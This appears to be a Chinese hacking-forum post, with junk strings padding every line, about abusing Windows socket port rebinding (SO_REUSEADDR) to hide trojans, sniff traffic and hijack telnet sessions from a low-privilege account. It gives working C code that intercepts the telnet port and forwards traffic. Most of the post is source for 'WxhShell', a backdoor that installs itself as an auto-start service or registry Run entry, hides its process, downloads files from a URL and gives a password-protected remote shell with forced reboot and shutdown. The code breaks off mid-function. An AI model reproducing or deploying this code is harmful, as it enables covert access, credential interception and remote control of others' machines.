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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rQAbN6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y$"~^8"z  
C:TuC5Sr  
  saddr.sin_family = AF_INET; jp\JwE  
oQKcGUZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9e|{z9z[l  
as\)S?0`.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `RL(N4H  
`-E.n'+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _j|n}7a  
@vDgpb@TM  
  这意味着什么?意味着可以进行如下的攻击: 1-ndJ@Wlz  
c9/ 'i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =[O<.'aG-  
ahz@HX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "fX8xZdS  
g@N=N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 < '+R%6  
J/H#d')c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  co(fGp#!  
r[i~4N=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0n=9TmE  
8#d99dOe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r A&#>R`  
n[S41809<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^y;OHo  
z;Gbqr?{{  
  #include P"[l86:  
  #include zrWq!F*-V\  
  #include Uzm[e%/`  
  #include    )x5$io   
  DWORD WINAPI ClientThread(LPVOID lpParam);   "m\UqQGX  
  int main() 3IRRFIiO  
  { cC(ubUR  
  WORD wVersionRequested; B "s8i{Vm  
  DWORD ret; 9x 6ca  
  WSADATA wsaData; Xk7$?8r4&  
  BOOL val; 1&>nL`E[3  
  SOCKADDR_IN saddr; faKrSmE!  
  SOCKADDR_IN scaddr; _mq*j^u,j  
  int err; [{fF)D<tC  
  SOCKET s; WhVmycdv  
  SOCKET sc; :)3$&QdHT  
  int caddsize; x X=IMM3  
  HANDLE mt; Dk. 9&9mz  
  DWORD tid;   eUUD|U*b   
  wVersionRequested = MAKEWORD( 2, 2 ); j)SgB7Q  
  err = WSAStartup( wVersionRequested, &wsaData ); { <ao4w6B  
  if ( err != 0 ) { "ZK5P&d  
  printf("error!WSAStartup failed!\n");  *<h  
  return -1; <8xP-(wk;  
  } N!4xP.Ps  
  saddr.sin_family = AF_INET; iTtAj~dfZ  
   Aj)< 8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v"?PhO/{=  
QY CNO#*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P*qNRP%  
  saddr.sin_port = htons(23); |SXMu_w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [laL6  
  { WRU@i;l  
  printf("error!socket failed!\n"); ,BN}H-W\2  
  return -1; t&?v9n"X  
  } C">=2OO  
  val = TRUE; qjRiTIp9q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :4L5@>b-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ztxQv5=:,  
  { =B 4gEWR  
  printf("error!setsockopt failed!\n"); VAB&&AL  
  return -1; h"Yqm"U/  
  } 0m| Gp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ne%OTr 4dD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >c'_xa?^G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H?r;S 5)c  
*#{.\R-D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4) I/\  
  { < c4RmnA  
  ret=GetLastError(); *R~(:z>>  
  printf("error!bind failed!\n"); RX<^MzCDV  
  return -1; JNz"lTt>[g  
  } {II7%\ya  
  listen(s,2); ez<wEt S  
  while(1) %A[p!U  
  { o3[sF  
  caddsize = sizeof(scaddr); cX]{RVZo-/  
  //接受连接请求 R`3>0LrC8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wg;TXs/  
  if(sc!=INVALID_SOCKET) $vicHuX!  
  { pQ2)M8 gf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b42pLbpe'E  
  if(mt==NULL) N?<@o2{  
  { ~!+h"%'t  
  printf("Thread Creat Failed!\n"); 'C?f"P:X{  
  break; 01d26`G$i~  
  } `?|]:7'<  
  } mUY:S |  
  CloseHandle(mt); ,Vn]Ft?n  
  } .j4ziRa-  
  closesocket(s); })u}PQ  
  WSACleanup(); {q>4:lsS  
  return 0; b2@x(5#  
  }   e~~k}2~  
  DWORD WINAPI ClientThread(LPVOID lpParam) _e@qv;*  
  { F'_8pD7  
  SOCKET ss = (SOCKET)lpParam; m_U6"\n 5  
  SOCKET sc; z=h5  
  unsigned char buf[4096]; a} fS2He  
  SOCKADDR_IN saddr; }Knq9cf  
  long num; (uxQBy  
  DWORD val; v{*X@)$  
  DWORD ret; _G*x:<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3g "xm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TF3q?0  
  saddr.sin_family = AF_INET; }8]uZ)[p=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5J#g JFA  
  saddr.sin_port = htons(23); nv[Sb%/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p$G3r0 @  
  { s3RyLT  
  printf("error!socket failed!\n"); '\mZ7.Jj  
  return -1; 9}Ave:X^  
  } {3uSg)  
  val = 100; "RX5] eJc\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iOXP\:mPo  
  { )Is*- W  
  ret = GetLastError(); |g^W @.P  
  return -1; ovoI~k'  
  } eii7pbc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RV*Zi\-X  
  { PC7.+;1  
  ret = GetLastError(); MAo,PiYb  
  return -1; 5GxM?%\  
  } `.-k%2?/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [hj'Yg8{  
  { Bw7:ry  
  printf("error!socket connect failed!\n"); %((3'le  
  closesocket(sc); K}(n;6\  
  closesocket(ss); F"P:9`/  
  return -1; '\YhRU  
  } TUn@b11  
  while(1) %}5"5\Zz  
  { $^aXVy5p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q+M3Pqy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &rWJg6/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EUS]Se2  
  num = recv(ss,buf,4096,0); Y9ce"*b  
  if(num>0) <RsKV$Je I  
  send(sc,buf,num,0); Kd1\D!#!6  
  else if(num==0) X}FF4jE]D(  
  break; ,#;ahwU~s  
  num = recv(sc,buf,4096,0); uM<+2S  
  if(num>0) jCv+m7Z  
  send(ss,buf,num,0); &WU*cfJn)A  
  else if(num==0) _1%^ ibn  
  break; &t:MWb;  
  } Ym2m1  
  closesocket(ss); A2bV[+Q  
  closesocket(sc); hs uJ;4}$q  
  return 0 ; Vta;ibdeqW  
  } &.4a  
qr;" K?NX  
L6 # d  
========================================================== UVU*5U~  
mpAh'f4$*  
下边附上一个代码,,WXhSHELL e|9Bzli{  
DNO%J^  
========================================================== Mxp4YQl  
x G"p .  
#include "stdafx.h" mW9b~G3k  
6)j4 TH  
#include <stdio.h> K ePHn:c  
#include <string.h> 0].5[Jo  
#include <windows.h> 'Em($A (  
#include <winsock2.h> UzwIV{  
#include <winsvc.h>  )U`kU`+'  
#include <urlmon.h> "n-xsAG  
w2V E_  
#pragma comment (lib, "Ws2_32.lib") }`]^LFU5  
#pragma comment (lib, "urlmon.lib") $&C%C\(>D  
V-u\TiL  
#define MAX_USER   100 // 最大客户端连接数 z<=t3dj  
#define BUF_SOCK   200 // sock buffer o>%W7@Pr  
#define KEY_BUFF   255 // 输入 buffer J>v>6OC6i  
u8=|{)yL  
#define REBOOT     0   // 重启 qT%E[qDS  
#define SHUTDOWN   1   // 关机 I2Q?7p  
zwHsdB=v  
#define DEF_PORT   5000 // 监听端口 g8y Zc}4  
*~X\c Z  
#define REG_LEN     16   // 注册表键长度 Ms3/P|{"p  
#define SVC_LEN     80   // NT服务名长度 ~epkRO="  
`-2`UGB-  
// 从dll定义API QKQy)g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); akwVU\RP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ArM e[t0$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z [{%.kA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @@&;gWr;  
^PszZ10T  
// wxhshell配置信息 q[g^[~WM#  
struct WSCFG { Iqv 5lo .  
  int ws_port;         // 监听端口 A;PV,2|X  
  char ws_passstr[REG_LEN]; // 口令 _JoA=< O!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2US8<sq+  
  char ws_regname[REG_LEN]; // 注册表键名 K~G^jAk+  
  char ws_svcname[REG_LEN]; // 服务名 A":x<9   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s5@^g8(+C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W;W\L? r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !;oBvE7Kh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \t3i9#Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GM~jR-FZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ::w%rv  
kY&j~R[C  
}; !).d c.P  
wDzS<mm  
// default Wxhshell configuration s3S73fNOk  
struct WSCFG wscfg={DEF_PORT, LdV_7)  
    "xuhuanlingzhe", I115Rp0  
    1, *}=W wG  
    "Wxhshell", +bU(-yRy5o  
    "Wxhshell", YTsn;3d]}  
            "WxhShell Service", XZJx3!~fm  
    "Wrsky Windows CmdShell Service", 5@\<:Zmi  
    "Please Input Your Password: ", dfce/QOV  
  1, elQ44)TrQ  
  "http://www.wrsky.com/wxhshell.exe", ?:c hAN@  
  "Wxhshell.exe" {fs(+ 0ei  
    }; n"vI>_|G  
&40d J~SQ  
// 消息定义模块 jkd8M;Jw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N0NMRU]zT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bcg)K`'N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uv4jbg}Z+3  
char *msg_ws_ext="\n\rExit."; ~-x\E#(  
char *msg_ws_end="\n\rQuit."; $@X,J2&  
char *msg_ws_boot="\n\rReboot..."; eyOAG4QTV  
char *msg_ws_poff="\n\rShutdown..."; (;0]V+-  
char *msg_ws_down="\n\rSave to "; !+U.)u9 '  
na>B{6  
char *msg_ws_err="\n\rErr!"; -lHJ\=  
char *msg_ws_ok="\n\rOK!"; >"b"K{t  
ZO}*^  
char ExeFile[MAX_PATH]; 5NK:94&JE  
int nUser = 0; z Ey&%Ok  
HANDLE handles[MAX_USER]; 9i@*\Ada  
int OsIsNt; w*x}4wW  
F);C?SW"  
SERVICE_STATUS       serviceStatus; b $!l* r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Oi RqqD  
BL7%MvDQ  
// 函数声明 Vj1AW<  
int Install(void); 6gn|WO=W f  
int Uninstall(void); mvnK)R_  
int DownloadFile(char *sURL, SOCKET wsh); x.aUuC,$x  
int Boot(int flag); gKnAw+u\  
void HideProc(void); _*_zyWW_j  
int GetOsVer(void); uxBk7E%6  
int Wxhshell(SOCKET wsl); j"]%6RwM]  
void TalkWithClient(void *cs); V=U%P[S  
int CmdShell(SOCKET sock); 0Pe.G0 #  
int StartFromService(void); H}X"yLog*  
int StartWxhshell(LPSTR lpCmdLine); HD|5:fAqA  
qH$p]+Rk 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1Pbp=R/7ar  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .(krB% N  
U]d+iz??b  
// 数据结构和表定义 r+n&Pp+9  
SERVICE_TABLE_ENTRY DispatchTable[] = q~Ud>{  
{ #gq3 e  
{wscfg.ws_svcname, NTServiceMain}, NGxuwHIQ8  
{NULL, NULL} 8LOzL,Ah  
}; DN+iS  
/W;;7k  
// 自我安装 ck;owGl T  
int Install(void) F+X3CB,f  
{ QJ QQ-  
  char svExeFile[MAX_PATH]; >2ct1_  
  HKEY key; 5:6mptn>  
  strcpy(svExeFile,ExeFile); Zn/1uWO  
Q{RHW@_/  
// 如果是win9x系统,修改注册表设为自启动 W'[!4RQL  
if(!OsIsNt) { hd900LA}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #RcmO **  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PO #FtG  
  RegCloseKey(key); FU<rE&X2:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }k%>%xQ.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5<61NnZ  
  RegCloseKey(key); _=rXaTp  
  return 0; d 1z   
    } {)G3*>sG3  
  } >?5`FC  
} >DDQ7 l  
else { {\k9%2V*+  
Mc.KLz&,FC  
// 如果是NT以上系统,安装为系统服务 ~"(1~7_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u%2u%-w  
if (schSCManager!=0) Y?> S.B7  
{ 6;VlX,,j  
  SC_HANDLE schService = CreateService f!87JE=<  
  ( 4h|D[Cb]  
  schSCManager, /g2 1.*Z  
  wscfg.ws_svcname, 3.>jagu  
  wscfg.ws_svcdisp, zMDR1/|D  
  SERVICE_ALL_ACCESS, tW(E\#!|p<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z"P{/~HG  
  SERVICE_AUTO_START, cq/)Yff@:  
  SERVICE_ERROR_NORMAL, v<O\ l~S  
  svExeFile, <ioX|.7ZX  
  NULL, wH<S0vl   
  NULL, n_5g:`Y  
  NULL, tZ(Wh  
  NULL, ivt\| >  
  NULL !-: a`Vs+  
  ); 2)G ZU  
  if (schService!=0) X;-,3dy  
  { a].Bn#AH!C  
  CloseServiceHandle(schService); q.#aeqKBP  
  CloseServiceHandle(schSCManager); Od"-w<'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #GTmC|[  
  strcat(svExeFile,wscfg.ws_svcname); L&eO?I=,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n^'{{@&(v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NKd):>d%  
  RegCloseKey(key); 9[:nW p^  
  return 0; /wmJMX  
    } `toSU>:  
  } ;e-iiC]PI  
  CloseServiceHandle(schSCManager); m0:8thZN  
} z\fk?Tj<ro  
} ,TL~];J'  
{C 7=  
return 1; UF}fmDi  
} ,u$$w  
p<Zf,F}  
// 自我卸载 n 6oVx 5/  
int Uninstall(void) |ek*wo  
{ qoOHWh&  
  HKEY key; VGTo$RH  
v%_sCg  
if(!OsIsNt) { sH6srwI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2t_E\W7w+  
  RegDeleteValue(key,wscfg.ws_regname); MEg|AhP  
  RegCloseKey(key); 9~a_^m/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g-6!+>w*>e  
  RegDeleteValue(key,wscfg.ws_regname); 2-2'c?%  
  RegCloseKey(key); -O2Qz zE&  
  return 0; yp8 .\.  
  } sW[42A  
} i3YAK$w;&  
} b%AYYk)d?  
else { &H* F  
zm"&8/l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GlVq<RG*  
if (schSCManager!=0) `,TPd ~#~  
{ >GqIpfn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <OpiD%Ctx  
  if (schService!=0) IWTD>c).  
  { .2OP>:9F  
  if(DeleteService(schService)!=0) { 0(teplo&P  
  CloseServiceHandle(schService); OS,-dG(  
  CloseServiceHandle(schSCManager); nQ8EV>j2  
  return 0; =_=jXWOQv  
  } H3MT.Cpd  
  CloseServiceHandle(schService); 1w?X~VZAX  
  } ZSxKk6n}J  
  CloseServiceHandle(schSCManager); 6? 2/b`k  
} (Iu5QLE  
} =$f xK  
O>H4hp  
return 1; \}Hk`n)Aq  
} b@nbXm]Z  
S&@~F|  
// 从指定url下载文件 l~!#<=.  
int DownloadFile(char *sURL, SOCKET wsh) ^]OD+v  
{ =w,%W^"E  
  HRESULT hr; ^1}}-9q  
char seps[]= "/"; U edh4qa  
char *token; D,]m7 yFT  
char *file; &AA u:  
char myURL[MAX_PATH]; MiN68x9  
char myFILE[MAX_PATH]; Ro?yCy:L'  
0p! [&O  
strcpy(myURL,sURL); g`\Vy4w  
  token=strtok(myURL,seps); NeUpl./b  
  while(token!=NULL) %$Mvq&ZZ  
  { M,|o2'  
    file=token; q18dSu  
  token=strtok(NULL,seps); L[ rJ7:  
  } lkBab$S)  
O`H[,+vm[  
GetCurrentDirectory(MAX_PATH,myFILE); 350y6pVh  
strcat(myFILE, "\\"); 0s= GM|y  
strcat(myFILE, file); wMei`svY  
  send(wsh,myFILE,strlen(myFILE),0); Dr<%Lr  
send(wsh,"...",3,0); 90M:0SH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]oZ$,2#;~  
  if(hr==S_OK) ePB=aCZ  
return 0; w Xfy,W  
else >(*jL  
return 1; <Eq^r h  
rXvvJIbi  
}  Ws}u4t  
7 -bU9{5  
// 系统电源模块 7J##IH+z35  
int Boot(int flag) Oxy. V+R  
{ "!r7t4  
  HANDLE hToken; BB=%tz`B  
  TOKEN_PRIVILEGES tkp; cYW F)WAog  
zI(b#eUF  
  if(OsIsNt) { tHD mX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kVZ>Dc2M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uflp4_D   
    tkp.PrivilegeCount = 1; 2= u5N[*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4d[:{/+Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h?fv:^vSi  
if(flag==REBOOT) { i5V ly'Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pqx=j_st  
  return 0; 8%I4jL<  
} Va?wG3w  
else { znX2W0V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L<5go\!bV  
  return 0; CQ6Z[hLWF  
} k2p{<SO;  
  } GXJJOy1"!  
  else { ln#Lx&r;|  
if(flag==REBOOT) { A.*}<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TE^BfAw@  
  return 0; Uo5l =\  
} b'uH4[zX%  
else { `[/BG)4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "?n~ /9`  
  return 0; hZ5h(CQ?"#  
} Bu*ge~  
} Fp|x,-  
m>:3Ku  
return 1; (H0nO7Bk  
} "P'W@  
cMI QbBM  
// win9x进程隐藏模块 ;&?NuK  
void HideProc(void) tb^3-ZUb  
{ XEY((VL0  
zEpcJHI%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9kQ~)4#  
  if ( hKernel != NULL )  ,`)!K}2  
  { Sh}AGNE'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GYyP+7K4l[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r4D6g>)h1q  
    FreeLibrary(hKernel); l^WFMeMD3a  
  } , B h[jb`y  
)# M*@e$k  
return; Ga"$_DyM  
} 2y v'DS  
mf^(Tq[  
// 获取操作系统版本 2Pasmh  
int GetOsVer(void) ?RA^Y N*9  
{ Azq,N@HO  
  OSVERSIONINFO winfo; ; Rt?&&W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Skq%S`1%Q  
  GetVersionEx(&winfo); Ri"3o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z9u"?vdA  
  return 1; XM>ByfD{  
  else G}AfCd4  
  return 0; }`\+_@ w  
} /@Y/(+DE  
O.  V!L  
// 客户端句柄模块 O5LB&s   
int Wxhshell(SOCKET wsl) ie=tM'fb  
{ iw12x:  
  SOCKET wsh; %7z  
  struct sockaddr_in client; jun>(7  
  DWORD myID; .COY%fz  
V2V^*9(wu@  
  while(nUser<MAX_USER) XW%!#S&;X  
{ Cj31'  
  int nSize=sizeof(client); Y_xPr%%A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GadQ \>  
  if(wsh==INVALID_SOCKET) return 1; 4-lEo{IIM  
vn KKK.E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3QL'uk  
if(handles[nUser]==0) PGOi#x  
  closesocket(wsh); )CSb\  
else AFF7fK  
  nUser++; /t01z~_  
  } e{>X2UNW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tmg~ZI:MW  
.3t[M0sd  
  return 0; vLXN{ ]  
} ?s dVd  
tz6d}$  
// 关闭 socket ~ubGx  
void CloseIt(SOCKET wsh) )R<hYd  
{ gV9 1=Pj  
closesocket(wsh); >s1'I:8  
nUser--; bN8GRK )  
ExitThread(0); JD^(L~n]  
} '@3hU|jO!  
Q!(C$&f  
// 客户端请求句柄 R]0awV1b  
void TalkWithClient(void *cs) e3yBB*@  
{ w<lHY=z E  
3BDAvdJ4.  
  SOCKET wsh=(SOCKET)cs; o2He}t2o  
  char pwd[SVC_LEN]; E dhT;!  
  char cmd[KEY_BUFF]; )ZEUD] X  
char chr[1];  I?.$  
int i,j; 7xb z)FI  
k ?X  
  while (nUser < MAX_USER) { QyuSle  
2a3h m8%U  
if(wscfg.ws_passstr) { SYOND>E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l23_K7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S ])Ap'E  
  //ZeroMemory(pwd,KEY_BUFF); D ?1$I0=  
      i=0; xVao3+r  
  while(i<SVC_LEN) { #Wey)DI  
3U!\5Nsby  
  // 设置超时 7q<I7Wt  
  fd_set FdRead; QU2\gAM  
  struct timeval TimeOut; np}F [v  
  FD_ZERO(&FdRead); T9osueh4  
  FD_SET(wsh,&FdRead); %`t;5kmR  
  TimeOut.tv_sec=8; Eb7qM.Q] &  
  TimeOut.tv_usec=0; l4I@6@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;\DXRKR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); + G#qS1  
`7zz&f9dDX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6] <~0{  
  pwd=chr[0]; A% 9TS/-p  
  if(chr[0]==0xd || chr[0]==0xa) { &B1d+.+  
  pwd=0; ]rO`e N[~U  
  break; )2C_6eR  
  } g>_lU vSE  
  i++; K, ae-#wgb  
    } OW<i"?0  
k6_RJ8I  
  // 如果是非法用户,关闭 socket HeZ! "^w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }#ZQ\[  
} RY2`v pv  
t,4q]Jt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Lv eZ_h5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w4H3($ K  
_Pjo9z 9  
while(1) { ( 1T2? mO  
, |CT|2D>  
  ZeroMemory(cmd,KEY_BUFF); rR@ t5  
,F`:4=H%  
      // 自动支持客户端 telnet标准   {}H5%W  
  j=0; In#V1[io  
  while(j<KEY_BUFF) { DBANq\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~'2)E/IeV  
  cmd[j]=chr[0]; `c ~Va/Yi  
  if(chr[0]==0xa || chr[0]==0xd) { TMj(y{2  
  cmd[j]=0; ]X?~Cz/wl  
  break; ^} P|L  
  } 2s_shY<=}L  
  j++; dVmI.A'nbp  
    } _I l/ i&  
4h\MSTF*  
  // 下载文件 QijEb  
  if(strstr(cmd,"http://")) { $m]~d6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  +ulBy  
  if(DownloadFile(cmd,wsh)) cVv+,l4 V0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RbKAB8  
  else 8'Sw?FbVA/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .%j&#(!  
  } ?sWPx!tU  
  else { r+-KrO'  
Xm`jD'G  
    switch(cmd[0]) { -K hXb  
  h~)oiT2v  
  // 帮助 B- =*"H?q  
  case '?': { xwhH_[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2qLRcA=R  
    break; SV}q8z\  
  } p(in.Xz  
  // 安装 rs2G{a  
  case 'i': { +e+hIMur  
    if(Install()) u POmi F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XP~bmh,T,  
    else ;|Id g"2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^=D=fX"8%  
    break; i$gm/ZO  
    } vU0j!XqE  
  // 卸载 AD^9?Z  
  case 'r': { 9kss) xy  
    if(Uninstall()) :SUPGaUJ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NXb_hF  
    else /( %Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _\waA^ F  
    break; -Zc 6_]F|  
    } RL7OFfMe  
  // 显示 wxhshell 所在路径 p!BZTwP  
  case 'p': { cf)2GoV>e  
    char svExeFile[MAX_PATH]; 0(\ybppx  
    strcpy(svExeFile,"\n\r"); S^'?s fq  
      strcat(svExeFile,ExeFile); L)H' g  
        send(wsh,svExeFile,strlen(svExeFile),0); -L>xVF-|:1  
    break; hn\<'|n  
    } pv*u[ffi  
  // 重启 NPy{ =#k4  
  case 'b': { y33+^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $BKGPGmh  
    if(Boot(REBOOT)) 3qU#Rg ;7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); roT$dL P)w  
    else { Fw? ;Y%  
    closesocket(wsh); ]4wyuP,up  
    ExitThread(0); 5m{!Rrb  
    } 8##-fv]  
    break; I) Y ^_&=  
    } ,4wVQ(,?cd  
  // 关机 @9~a3k|  
  case 'd': { &.D3f"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MT9c:7}[&  
